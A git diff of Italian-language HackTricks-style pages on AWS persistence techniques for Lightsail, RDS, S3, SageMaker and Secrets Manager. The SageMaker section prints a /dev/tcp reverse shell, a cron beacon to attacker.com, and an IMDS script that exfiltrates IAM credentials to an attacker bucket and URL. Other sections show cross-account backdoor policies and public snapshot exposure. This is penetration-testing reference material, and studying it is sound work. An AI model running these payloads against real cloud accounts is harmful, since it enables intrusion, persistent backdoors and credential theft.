@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Scarica le chiavi SSH dell'istanza e le password del DB
-
-Probabilmente non verranno cambiate, quindi averle è una buona opzione per la persistenza
-
-### Backdoor delle Istanze
-
-Un attaccante potrebbe accedere alle istanze e backdoorarle:
-
-- Utilizzando un **rootkit** tradizionale, ad esempio
-- Aggiungendo una nuova **chiave SSH pubblica**
-- Esporre una porta con port knocking con una backdoor
-
-### Persistenza DNS
-
-Se i domini sono configurati:
-
-- Crea un sottodominio che punta al tuo IP in modo da avere un **subdomain takeover**
-- Crea un record **SPF** che ti consenta di inviare **email** dal dominio
-- Configura l'**IP del dominio principale al tuo** e esegui un **MitM** dal tuo IP a quelli legittimi
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
new file mode 100644
index 000000000..c5b2cc57b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Scaricare le chiavi SSH delle instance & le password del DB
+
+Probabilmente non verranno cambiate, quindi averle è una buona opzione per la persistenza
+
+### Backdoor alle istanze
+
+Un attaccante potrebbe ottenere accesso alle istanze e inserire una backdoor:
+
+- Utilizzando, ad esempio, un tradizionale **rootkit**
+- Aggiungendo una nuova **chiave SSH pubblica**
+- Esponendo una porta tramite port knocking con una backdoor
+
+### Persistenza DNS
+
+Se i domini sono configurati:
+
+- Creare un sottodominio che punti al tuo IP così otterrai un **subdomain takeover**
+- Creare un record **SPF** che ti permetta di inviare **email** dal dominio
+- Configurare l'IP del dominio principale sul tuo ed eseguire un **MitM** dal tuo IP verso quelli legittimi
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
deleted file mode 100644
index 0c687794c..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - RDS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### Rendi l'istanza accessibile pubblicamente: `rds:ModifyDBInstance`
-
-Un attaccante con questo permesso può **modificare un'istanza RDS esistente per abilitare l'accesso pubblico**.
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-### Crea un utente admin all'interno del DB
-
-Un attaccante potrebbe semplicemente **creare un utente all'interno del DB** così anche se la password dell'utente master viene modificata, **non perde l'accesso** al database.
-
-### Rendi pubblico lo snapshot
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
new file mode 100644
index 000000000..43c52de29
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
@@ -0,0 +1,27 @@
+# AWS - RDS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS
+
+Per maggiori informazioni, vedi:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Rendere l'istanza accessibile pubblicamente: `rds:ModifyDBInstance`
+
+Un attacker con questa autorizzazione può **modificare un'istanza RDS esistente per abilitare l'accessibilità pubblica**.
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+### Crea un utente admin all'interno del DB
+
+Un attacker potrebbe semplicemente **creare un utente all'interno del DB** così, anche se la password dell'utente master viene modificata, **non perde l'accesso** al database.
+
+### Rendi lo snapshot pubblico
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
deleted file mode 100644
index ead83c1be..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Crittografia lato client KMS
-
-Quando il processo di crittografia è completato, l'utente utilizzerà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **memorizzerà la chiave crittografata generata all'interno dei metadati** del file ([esempio di codice python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che quando si verifica la decrittazione, possa decrittarla nuovamente utilizzando KMS:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Pertanto, un attaccante potrebbe ottenere questa chiave dai metadati e decrittare con KMS (`aws kms decrypt`) per ottenere la chiave utilizzata per crittografare le informazioni. In questo modo, l'attaccante avrà la chiave di crittografia e se quella chiave viene riutilizzata per crittografare altri file, sarà in grado di utilizzarla.
-
-### Utilizzo delle ACL S3
-
-Sebbene di solito le ACL dei bucket siano disabilitate, un attaccante con privilegi sufficienti potrebbe abusarne (se abilitate o se l'attaccante può abilitarle) per mantenere l'accesso al bucket S3.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
new file mode 100644
index 000000000..ae9920253
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
+Quando il processo di cifratura è completato l'utente userà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **memorizzerà la chiave cifrata generata all'interno dei metadata** del file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che, al momento della decifratura, possa decifrarla nuovamente usando KMS:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Pertanto, un attacker potrebbe ottenere questa chiave dai metadata e decifrarla con KMS (`aws kms decrypt`) per ottenere la chiave usata per cifrare le informazioni. In questo modo l'attacker avrà la chiave di cifratura e, se quella chiave viene riutilizzata per cifrare altri file, potrà usarla.
+
+### Using S3 ACLs
+
+Sebbene di solito gli ACLs dei bucket siano disabilitati, un attacker con privilegi sufficienti potrebbe abusarne (se abilitati o se l'attacker può abilitarli) per mantenere l'accesso al bucket S3.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
deleted file mode 100644
index 062e111c3..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
+++ /dev/null
@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Panoramica delle Tecniche di Persistenza
-
-Questa sezione delinea i metodi per ottenere persistenza in SageMaker abusando delle Configurazioni del Ciclo di Vita (LCC), inclusi reverse shell, cron job, furto di credenziali tramite IMDS e backdoor SSH. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso alla rete in uscita, ma l'uso di servizi sul piano di controllo AWS può comunque consentire il successo se l'ambiente è in modalità "solo VPC".
-#### Nota: Le istanze di notebook SageMaker sono essenzialmente istanze EC2 gestite configurate specificamente per carichi di lavoro di machine learning.
-
-## Permessi Richiesti
-* Istanze di Notebook:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Applicazioni Studio:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Imposta la Configurazione del Ciclo di Vita sulle Istanze del Notebook
-
-### Esempi di Comandi AWS CLI:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Imposta la Configurazione del Ciclo di Vita su SageMaker Studio
-
-Le Configurazioni del Ciclo di Vita possono essere collegate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
-
-### Livello del Dominio Studio (Tutti gli Utenti)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Studio Space Level (Spazi Individuali o Condivisi)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Tipi di Configurazioni del Ciclo di Vita dell'Applicazione Studio
-
-Le configurazioni del ciclo di vita possono essere applicate specificamente a diversi tipi di applicazioni SageMaker Studio:
-* JupyterServer: Esegue script durante l'avvio del server Jupyter, ideale per meccanismi di persistenza come reverse shell e cron job.
-* KernelGateway: Esegue durante il lancio dell'app del gateway del kernel, utile per la configurazione iniziale o l'accesso persistente.
-* CodeEditor: Si applica all'Editor di Codice (Code-OSS), abilitando script che vengono eseguiti all'inizio delle sessioni di modifica del codice.
-
-### Esempio di Comando per Ogni Tipo:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Informazioni Critiche:
-* Allegare LCC a livello di dominio o spazio impatta tutti gli utenti o le applicazioni all'interno dell'ambito.
-* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che a livello di dominio.
-* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati con successo.
-
-## Shell Inversa tramite Configurazione del Ciclo di Vita
-
-Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook vengono avviate. Un attaccante con permessi può stabilire una shell inversa persistente.
-
-### Esempio di Payload:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Persistenza dei Cron Job tramite Configurazione del Ciclo di Vita
-
-Un attaccante può iniettare cron job tramite script LCC, garantendo l'esecuzione periodica di script o comandi malevoli, abilitando una persistenza furtiva.
-
-### Esempio di Payload:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Esfiltrazione delle Credenziali tramite IMDS (v1 & v2)
-
-Le configurazioni del ciclo di vita possono interrogare il Servizio di Metadati dell'Istanza (IMDS) per recuperare le credenziali IAM ed esfiltrarle in una posizione controllata dall'attaccante.
-
-### Esempio di Payload:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
new file mode 100644
index 000000000..b9dcb404f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Panoramica delle tecniche di persistenza
+
+Questa sezione descrive i metodi per ottenere persistenza in SageMaker abusando delle Lifecycle Configurations (LCCs), inclusi reverse shells, cron jobs, credential theft via IMDS e SSH backdoors. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso di rete in uscita, ma l'uso di servizi sul control plane di AWS può comunque permettere il successo se l'ambiente è in modalità 'VPC-only'.
+
+> [!TIP]
+> Nota: le istanze notebook di SageMaker sono in pratica istanze EC2 gestite, configurate specificamente per carichi di lavoro di machine learning.
+
+## Permessi richiesti
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio Applications:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Imposta Lifecycle Configuration su Notebook Instances
+
+### Esempi di comandi AWS CLI:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Imposta Lifecycle Configuration su SageMaker Studio
+
+Le Lifecycle Configurations possono essere associate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
+
+### Studio Domain Level (Tutti gli utenti)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Livello Studio Space (spazi individuali o condivisi)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Tipi di configurazioni del ciclo di vita delle applicazioni di Studio
+
+Le configurazioni del ciclo di vita possono essere applicate specificamente ai diversi tipi di applicazioni di SageMaker Studio:
+* JupyterServer: Esegue script durante l'avvio del Jupyter server, ideale per meccanismi di persistence come reverse shells e cron jobs.
+* KernelGateway: Viene eseguito durante il lancio dell'app KernelGateway, utile per la configurazione iniziale o per persistent access.
+* CodeEditor: Si applica al Code Editor (Code-OSS), permettendo script che vengono eseguiti all'avvio delle sessioni di editing del codice.
+
+### Comando di esempio per ogni tipo:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Editor di codice
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Informazioni critiche:
+* L'assegnazione di LCCs a livello di domain o space impatta tutti gli utenti o le applicazioni nell'ambito.
+* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace), tipicamente più fattibile a livello di space che di domain.
+* Controlli a livello di rete (es. filtraggio egress stringente) possono prevenire reverse shells o data exfiltration.
+
+## Reverse Shell tramite Lifecycle Configuration
+
+Le SageMaker Lifecycle Configurations (LCCs) eseguono script personalizzati all'avvio delle istanze notebook. Un attaccante con i permessi può instaurare un reverse shell persistente.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+Un attaccante può iniettare cron jobs tramite LCC scripts, garantendo l'esecuzione periodica di script o comandi dannosi e consentendo una persistence stealthy.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Esfiltrazione di credenziali tramite IMDS (v1 & v2)
+
+Le lifecycle configurations possono interrogare l'Instance Metadata Service (IMDS) per recuperare le credenziali IAM ed esfiltrarle verso una posizione controllata dall'attaccante.
+
+### Esempio di payload:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Persistenza tramite resource-based policy del SageMaker Model Package Group (PutModelPackageGroupPolicy)
+
+Abusa della resource-based policy su un SageMaker Model Package Group per concedere a un principal esterno diritti cross-account (es., CreateModelPackage/Describe/List). Questo crea una backdoor duratura che permette di pushing poisoned model versions o di leggere model metadata/artifacts anche se l'IAM user/role dell'attaccante nell'account vittima viene rimosso.
+
+Permessi richiesti
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Passaggi (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Note
+- Per un vero cross-account backdoor, limita Resource allo specifico group ARN e usa l'AWS account ID dell'attaccante in Principal.
+- Per deployment end-to-end cross-account o lettura di artifact, allinea le autorizzazioni S3/ECR/KMS con l'account dell'attaccante.
+
+Impatto
+- Controllo persistente cross-account di un Model Registry group: l'attaccante può pubblicare versioni di modelli malevoli o enumerare/leggere i metadata dei modelli anche dopo che le loro entità IAM sono state rimosse nell'account vittima.
+
+## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Abusa delle impostazioni utente di SageMaker Canvas per reindirizzare silenziosamente le scritture del model registry verso un account controllato dall'attaccante abilitando ModelRegisterSettings e impostando CrossAccountModelRegisterRoleArn su un ruolo dell'attaccante in un altro account.
+
+Required permissions
+- sagemaker:UpdateUserProfile sul UserProfile di destinazione
+- Optional: sagemaker:CreateUserProfile su un Domain che controlli
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
deleted file mode 100644
index bd175ad6f..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - Persistenza di Secrets Manager
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Tramite Politiche di Risorsa
-
-È possibile **concedere accesso ai segreti a account esterni** tramite politiche di risorsa. Controlla la [**pagina di Privesc di Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per ulteriori informazioni. Nota che per **accedere a un segreto**, l'account esterno avrà anche **bisogno di accesso alla chiave KMS che cripta il segreto**.
-
-### Tramite Lambda di Rotazione dei Segreti
-
-Per **ruotare i segreti** automaticamente viene chiamata una **Lambda** configurata. Se un attaccante potesse **modificare** il **codice**, potrebbe direttamente **esfiltrare il nuovo segreto** a se stesso.
-
-Questo è come potrebbe apparire il codice lambda per tale azione:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
new file mode 100644
index 000000000..0e15baac7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
@@ -0,0 +1,234 @@
+# AWS - Secrets Manager Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Tramite Resource Policies
+
+È possibile **concedere l'accesso a secrets ad account esterni** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access alla KMS key che cifra il secret**.
+
+### Tramite Secrets Rotate Lambda
+
+Per **ruotare i secrets** automaticamente viene invocata una **Lambda** configurata. Se un attacker potesse **change** il **code** potrebbe esfiltrare direttamente il nuovo secret a sé stesso.
+
+Ecco come potrebbe apparire il lambda code per tale azione:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
+
+Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una Lambda di rotazione controllata dall'attaccante e innescare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso un sink dell'attaccante (es., S3 o HTTP esterno).
+
+- Requirements
+- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
+- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
+
+- Impact
+- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
+
+- Attack steps (CLI)
+1) Prepare attacker sink and Lambda role
+- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
